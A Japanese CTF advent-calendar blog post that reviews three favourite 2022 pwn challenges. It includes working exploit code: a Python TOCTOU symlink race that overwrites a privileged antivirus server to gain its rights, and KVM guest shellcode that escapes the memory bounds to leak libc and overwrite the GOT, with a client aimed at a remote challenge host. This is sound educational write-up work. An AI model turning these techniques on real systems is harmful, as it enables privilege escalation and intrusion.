CTFするぞ

CTF以外のことも書くよ

Best Pwnable Challenges 2022

はじめに

この記事はCTF Advent Calendar 2022の6日目の記事です。 昨日はEdwow Mathさんの「Cryptoプレーヤーを始めてから今までで躓いたポイントとその解消法」でした。 前後をcrypto記事で挟まれてオセロなら負けてた。

*1

さて、去年のBest Pwnable Challenges 2021に引き続き、主観で面白かったpwn問を選んでみます。 私が今年参加したCTFかつ解いた問題から選んでいるので、ご了承ください。*2 参加CTF数が少ないのかpwnに飽きたのか、「これは誰が見ても面白い」みたいな問題があまり見つからなかったので、賛否両論だと思います。

受賞作品一覧

corchat - 創造力賞

創造力賞(Creativity Award):解法がもっとも独創的だった問題に与えられる賞

github.com

概要と解説

最初に紹介するのがcorCTF 2022で出題されたcorchatという問題です。Crusaders of Rustのjazzpizazzさんとryaagardさんが作ったそうです。 問題内容は以下のwriteupをご覧ください。

ptr-yudai.hatenablog.com

コメント

スレッドのスタックからmaster canaryを書き換えるという問題はたまに見ますが、NULLバイト書き込みで1バイトずつcanaryを消していくという発想が面白かったです。 corCTFはあまり参加していませんが、他にも面白い問題があったそうなので要チェックですね。

shamav - 脆弱性

脆弱性賞(Vulnerability Award):脆弱性がもっとも巧妙かつ自然に隠されていた問題に与えられる賞

概要と解説

次に紹介するのがSan Diego CTF 2022のshamavです。この問題は一般的なpwnと違い、ファイルシステムに関する知識が問われるmisc寄りの問題です。k3v1nさんが作問しています。

内容ですが、Python製のしょぼいアンチウイルスを実装したサービスになっています。 検査したいファイルパスはソケット経由で送信します。

def scan(path: str):
    res = _scan(path)
    log(f'[I] Scan complete: {path}')
    return res
...
        with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
            try:
                os.unlink(SOCKET_FILE)
            except FileNotFoundError:
                pass
            s.bind(SOCKET_FILE)
            os.chmod(SOCKET_FILE, 0o777)
            s.listen()
            while True:
                log(f'[I] Ready for the next client')
                conn, _ = s.accept()
                res = scan(recvall(conn).decode(errors='surrogateescape'))
                log(f'[I] Scan result: {res}')
                try:
                    conn.sendall(res.encode())
                except OSError as e:
                    log(f'[E] OS error on sendall: {e}')

スキャンは単純にハッシュ値を比較する実装になっています。 ハッシュ値が一致すれば、該当ファイルを別ディレクトリに隔離するような実装になっています。

def is_malware(file: str):
    with open(file, 'rb') as f:
        return hashlib.sha256(f.read()).hexdigest() in malware_hashes

def _scan(path: str):
    log(f'[I] Scanning file {path}')
    try:
        if os.lstat(path).st_uid != USER_UID:
            return "You do not have permission to scan this item"
    except OSError as e:
        return f'Error from OS: {e}'
    target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}'
    log(f'[D] Copying file from {path} to {target_path}')
    try:
        shutil.copyfile(path, target_path)
        if is_malware(target_path):
            log(f'[I] Found malware at {path}')
            return f'***** Malware detected! File quarantined at {target_path} *****'
    except IsADirectoryError as e:
        return f'An error occurred: {e}'
    return "File scan completed. No malware detected."

アンチウイルスはantivirusユーザーで実行されており、我々はctfユーザーにいます。 Dockerfileは配布されていませんでしたが、リモートの様子を再現すると次のような権限になっています。

RUN chown antivirus:antivirus *
RUN chmod 755 launcher.sh
RUN chmod 755 server.py
RUN chmod 644 malware-hashes.txt

あとあんまり覚えてないですが、quarantineディレクトリは実行権限はないですが、他ユーザーにも読み書きの権限はあったと思います。

Python製ということもありTOCTOUが脆弱性なのは明らかですが、何をどう競合させるかで結構悩んだ記憶があります。 脆弱性が明らかなのに脆弱性賞なのかという感じですが、コードが小さい割にどう利用するかで結構悩んだので......

目標としては、以下のコードを悪用します。

shutil.copyfile(path, target_path)

copyfileはdstがシンボリックリンクのとき、リンク先にsrcの内容を上書きします。 もしdstに任意のシンボリックリンクが置ければ、アンチウイルスのコードそのものを上書きできます。 server.pyは何らかの原因でクラッシュすると自動的に再起動するようになっているため、もしserver.pyを書き換えられればantivirus権限が得られます。 実際、FIFOをスキャンさせると落ちるため、antivirus権限でのコード実行は実現可能です。

さて、問題はdstにシンボリックリンクを置けるかですが、宛先ファイル名は次のように生成されています。

with open('seed') as f:
    seed = base64.b64decode(f.read())

def genrandom():
    global ctr
    result = hashlib.sha256(ctr.to_bytes(CTR_LENGTH, byteorder='little') + seed).hexdigest()
    ctr += 1
    return result
...
target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}'

当然seedは読めませんし、アンチウイルスが再起動するとseedは新しい乱数列で置き換わります。 想定解はこのseedをTOCTOUで置き換えるらしいのですが、今回は非想定解を使いました。

今回のプログラムは、av.logにログを吐きまくります。

    target_path = f'/home/antivirus/quarantine/sham-av-{genrandom()}'
    log(f'[D] Copying file from {path} to {target_path}')

このコードから分かるように、実はshutil.copyの直前でログにtarget_pathが書き込まれています。

したがって、ログにファイル名が書き込まれてからコピーが走るまでの間に、ログからファイル名を取り出してシンボリックリンクで置き換えることができれば優勝です。 サーバーインスタンスがしょぼいので頑張る必要がありますが、次のようにスレッドを乱立させると優勝できました。

import re
import threading
import os
import time

os.system(
    "echo -n '#!/bin/sh\\nchmod 777 /home/antivirus/flag*\\n' > /tmp/kasu"
)

win = False

def f():
    global win
    with open("/home/antivirus/av.log", "r") as logf:
        while not win:
            buf = logf.read()
            if not buf: continue
            r = re.findall("Copying file from (.+) to (.+)\n", buf)
            if not r: continue
            if os.system("ln -s /home/antivirus/server.py " + r[0][1] + " 2>/dev/null") == 0:
                win = True
                print("HIT!!", r[0][1])
                break

            print(r[0][1])

threading.Thread(target=f).start()
threading.Thread(target=f).start()
threading.Thread(target=f).start()
threading.Thread(target=f).start()

while not win:
    os.system(
        "printf '/tmp/kasu' | socat - UNIX-CONNECT:/home/antivirus/socket 2>/dev/null"
    )
    time.sleep(0.1)

# now server.py is overwritten
os.system("mkfifo /tmp/gomi")
os.system("printf '/tmp/gomi' | socat - UNIX-CONNECT:/home/antivirus/socket")

print("\n[+] DONE! Check flag :)")

コメント

権限が重要な問題にも関わらずDockerfileが配られていないという残念な点はありました。 また、これがpwnに分類されるべきなのかといった声もDiscord上で挙がっていましたが、個人的にはpwnで良いんじゃないかと思います。

TOCTOUの問題はwebで多いのかpwnではあまり出題されませんが、プログラム本体を書き換えるというのは中でも珍しいと思いました。

mykvm - 教育賞

教育賞(Educational Award):もっとも教育的な問題に与えられる賞

概要と解説

最後に紹介するのがAzure Assassin Alliance CTF 2022のmykvmです。作問者は不明XCTFの方に聞いたところkangelさんだそうです。

この問題のプログラムは、KVMで実装されたサンドボックス上で任意の機械語を実行できるというサービスになっています。 以下はIDAででコンパイルしていい感じに構造体を定義した際のコードの一部です。

  region.slot = 0;
  region.flags = 0;
  region.guest_phys_addr = 0LL;
  region.memory_size = 0x40000000LL;
  region.userspace_addr = (int)((_DWORD)&unk_602100
                              - (((((unsigned int)((int)&unk_602100 >> 31) >> 20) + (unsigned __int16)&unk_602100) & 0xFFF)
                               - ((unsigned int)((int)&unk_602100 >> 31) >> 20))
                              + 4096);
  ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &region);

KVM_SET_USER_MEMORY_REGIONは、ゲストから見たメモリとホストのメモリ領域をマッピングするコマンドです。 userspace_addrに該当するホスト側メモリアドレスを入れます。 これを読むと、memory_sizeが圧倒的に大きく、実際のメモリ領域(0x10000バイト?)がまったく足りていないことが分かります。 したがって、ホストのbssセクションあたりで、ゲスト側から範囲外読み書きができるはずです。

KVM上でプログラムを動かすと、リアルモードで実行されます。 リアルモードは16-bitで動作するので、そのままでは範囲外参照できません。

そのため、この問題では保護モードに移行してから範囲外参照を実現する必要があります。 ぬくもりのある手作りGDTを用意して、lgdt命令でロードし、jmpで32-bitに移行します。

プログラム終了時に入力があるのですが、そのポインタがmallocで取られてbssに保存されているため、範囲外参照でこのポインタを書き換えておけばAAWが実現できます。

bits 16
_start:
  cli
  pusha
  lgdt [gdt_toc]
  sti
  popa
  mov eax, cr0
  or eax, 1
  mov cr0, eax
  jmp 0x08:start_pmode
  hlt

gdt_toc:
  dw 4*8
  dd _gdt

_gdt:
  ; null descriptor
  dw 0
  dw 0
  dw 0
  dw 0
  ; code descriptor
  db 0xff
  db 0xff
  dw 0
  db 0
  db 10011010b
  db 11001111b
  db 0
  ; data descriptor
  db 0xff
  db 0xff
  dw 0
  db 0
  db 10010010b
  db 11001111b
  db 0
  ; temp
  dw 0
  dw 0
  dw 0
  dw 0

bits 32
start_pmode:
  mov ax, 0x10
  mov ds, ax
  mov es, ax
  mov fs, ax
  mov gs, ax
  mov ss, ax

  ; find heap base
  mov eax, 0x7100
  mov ebx, [eax]
  cmp ebx, 0x60b010
  sub ebx, 0x603010
  mov eax, [ebx + 8]
  cmp eax, 0x31
  jnz fail

  ; leak libc base
  mov edi, [ebx + 0x1b58]       ; libc lower
  mov esi, [ebx + 0x1b5c]       ; libc upper
  sub edi, 0x3c51a8
  xor edx, edx
  mov [edx], edi
  mov [edx + 4], esi
  mov al, [edx]
  out 1, al
  mov al, [edx+1]
  out 1, al
  mov al, [edx+2]
  out 1, al
  mov al, [edx+3]
  out 1, al
  mov al, [edx+4]
  out 1, al
  mov al, [edx+5]
  out 1, al
  mov al, [edx+6]
  out 1, al
  mov al, [edx+7]
  out 1, al
  mov al, 0x0a
  out 1, al

  ; prepare got overwrite
  mov eax, 0x7100
  mov dword [eax], 0x602028 - 8
  add edi, 0xf03b0
  mov dword [ebx + 0x27f8], edi
  mov dword [ebx + 0x27fc], esi
  hlt

fail:
  mov al, 0x65
  out 1, al
  mov al, 0x21
  out 1, al
  mov al, 0x0a
  out 1, al
  hlt

out命令でPython側にlibc leakしてますが特に使ってません。

from ptrlib import *

code = nasm(open("shellcode.S").read())

print(code)
libc = ELF("./libc-2.23.so")
#sock = Socket("localhost", 8888)
sock = Socket("nc 20.247.110.192 10888")

sock.sendlineafter("size: ", str(len(code)))
sock.sendafter("code: ", code)

sock.sendlineafter("name: ", "A")
sock.recvline()
input("> ")
sock.sendlineafter("passwd: ", "A")
sock.recvline()
libc_base = u64(sock.recvline())
libc.set_base(libc_base)
sock.sendlineafter("name: ", b'\x00')
sock.recvline()

sock.interactive()

コメント

KVMについて知らなかったので、問題を解きながらいろいろ勉強になりました。 こういう、脆弱性は単純だけど新しい分野に触れるための問題みたいなの好き。

その他の良問

惜しくも受賞を逃した問題たちです。

  • 創造力賞
    • Trust Code - LINE CTF 2022(rev要素が強かったため除外)
    • S2 - Google CTF 2022 Quals(Google製品の推しが強かったため除外)
  • 脆弱性
    • kkk - Azure Assassin Alliance CTF 2022(rev要素が強かったため除外)
  • 教育賞
    • auviel - Hayiim CTF 2022(悩んだけど教育賞としては若干難しいため除外)
    • ecrypt fixed - LINE CTF 2022(rev要素が強かったため除外)

そういえば、今年TSG CTFなくない?

明日はだこつさんの「面白かった Crypto 問1-2つ紹介&解説」です。むずそう。

*1:深淵

*2:今年ほとんどCTF参加してないけど。